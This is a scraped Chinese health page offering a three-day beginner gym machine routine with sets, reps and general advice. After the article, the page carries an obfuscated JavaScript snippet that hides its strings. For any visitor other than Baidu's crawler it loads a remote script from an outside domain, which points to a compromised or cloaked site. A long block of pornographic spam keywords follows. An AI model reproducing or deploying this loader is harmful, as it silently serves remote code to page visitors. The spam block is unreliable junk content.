當(dāng)前位置:首頁 > 健康 > 運(yùn)動健身 > 正文

健身房器械健身計劃有哪些?

2017-04-14 20:16:12  來源:360常識網(wǎng)   熱度:
導(dǎo)語:越來越多人開始走進(jìn)健身房,有的為了鍛煉身體,有的為了保持體型,有的為了減肥,這些健身房都可以為你做到。健身房的器材甚多,初入健身房

越來越多人開始走進(jìn)健身房,有的為了鍛煉身體,有的為了保持體型,有的為了減肥,這些健身房都可以為你做到。健身房的器材甚多,初入健身房的人可能會不知所措,面對如此多的器材不知道選哪個,不知道應(yīng)該如何去鍛煉,也沒有制定屬于自己的健身計劃,今天這些問題小編都為大家解答。

周一訓(xùn)練安排:胸+背動作一:平板杠鈴臥推組數(shù)/次數(shù):4*12-15RM

動作二:坐姿器械夾胸組數(shù)/次數(shù):3*15-20RM

動作三:平板啞鈴臥推組數(shù)/次數(shù):4組*12-15RM

動作四:T杠高位下拉組數(shù)/次數(shù):4組*12-15RM

動作五:坐姿器械劃船組數(shù)/次數(shù):4組*15-20RM

周三訓(xùn)練安排:肩+手臂動作一:坐姿啞鈴?fù)萍缃M數(shù)/次數(shù):4*12-15RM

動作二:直立啞鈴側(cè)平舉組數(shù)/次數(shù):4*15-20RM

動作三:直立杠鈴彎舉組數(shù)/次數(shù):4*12-15RM

動作四:仰臥杠鈴臂屈伸組數(shù)/次數(shù):4*15-20RM

周五訓(xùn)練安排:腿動作一:杠鈴深蹲組數(shù)/次數(shù):4*12-15RM

動作二:坐姿器械腿屈伸組數(shù)/次數(shù):4*12-15RM

動作三:坐姿器械腿舉組數(shù)/次數(shù):4*12-15RM

動作四:負(fù)重啞鈴箭步蹲

健身房健身計劃總結(jié):

1、這份健身房健身計劃比較適合剛開始去健身房鍛煉的朋友,可以利用這份計劃訓(xùn)練2個月,然后再根據(jù)自己的訓(xùn)練水平更換訓(xùn)練計劃或者練習(xí)動作。

2、每次力量練習(xí)后,建議練習(xí)者再增加10分鐘左右的腹部肌肉練習(xí)。練習(xí)的動作可以用仰臥起坐、坐姿收腿、仰臥舉腿、平板支撐等。

3、計劃是死的,人是活的。在訓(xùn)練的過程中,練習(xí)者應(yīng)該根據(jù)自身的情況來選擇和調(diào)整每天的訓(xùn)練內(nèi)容。

健身器材多,選擇性也高,只要了解的透徹,就可以選擇適合自己的,然后制定一套專屬自己的健身房器材健身計劃。不過,小編還是要提醒一下大家,運(yùn)動可以但一定要適量,如果是初入健身房,那么健身計劃應(yīng)該由少到多的好,千萬不能一口吃個大胖子,這樣身體會吃不消的。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产成人麻豆精品午夜福利在线| 毛片亚洲AV无码精品国产午夜 | 色欲久久久久久综合网精品 | 国产成人精品无码一区二区| 国产精品成人精品久久久| 精品久久久中文字幕二区| 亚洲国产精品无码观看久久| 国产 精品 自在 线| 91久久精品国产91久久性色也| 国产亚洲精品自在久久| 亚洲精品无码久久久影院相关影片| 亚洲精品偷拍视频免费观看| 国产亚洲精品91| 国产乱人伦偷精精品视频| 动漫精品第一区二区三区| 国产亚洲情侣久久精品| 羞羞色院91精品网站| 青娱乐国产精品视频| 一本一本久久a久久精品综合| 日本精品少妇一区二区三区| 黑人巨大精品播放| 亚洲av无码成人精品区| 国产精品一区二区三区免费| 久久99精品国产麻豆蜜芽| 老司机精品免费视频| 99精品国产在热久久| 一本色道久久综合亚洲精品| 亚洲精品无码久久久影院相关影片 | 69精品久久久久| 精品一久久香蕉国产二月| 中文国产成人精品久久不卡| 精品国产精品久久一区免费式| 美利坚永久精品视频在线观看| 国产精品国产三级国产专播下 | 精品一区二区三区波多野结衣| 精品午夜福利在线观看| 3D动漫精品啪啪一区二区下载| 久久精品日韩一区国产二区| 国产伦精品一区二区三区四区| 精品91自产拍在线观看| 国产精品午睡沙发系列|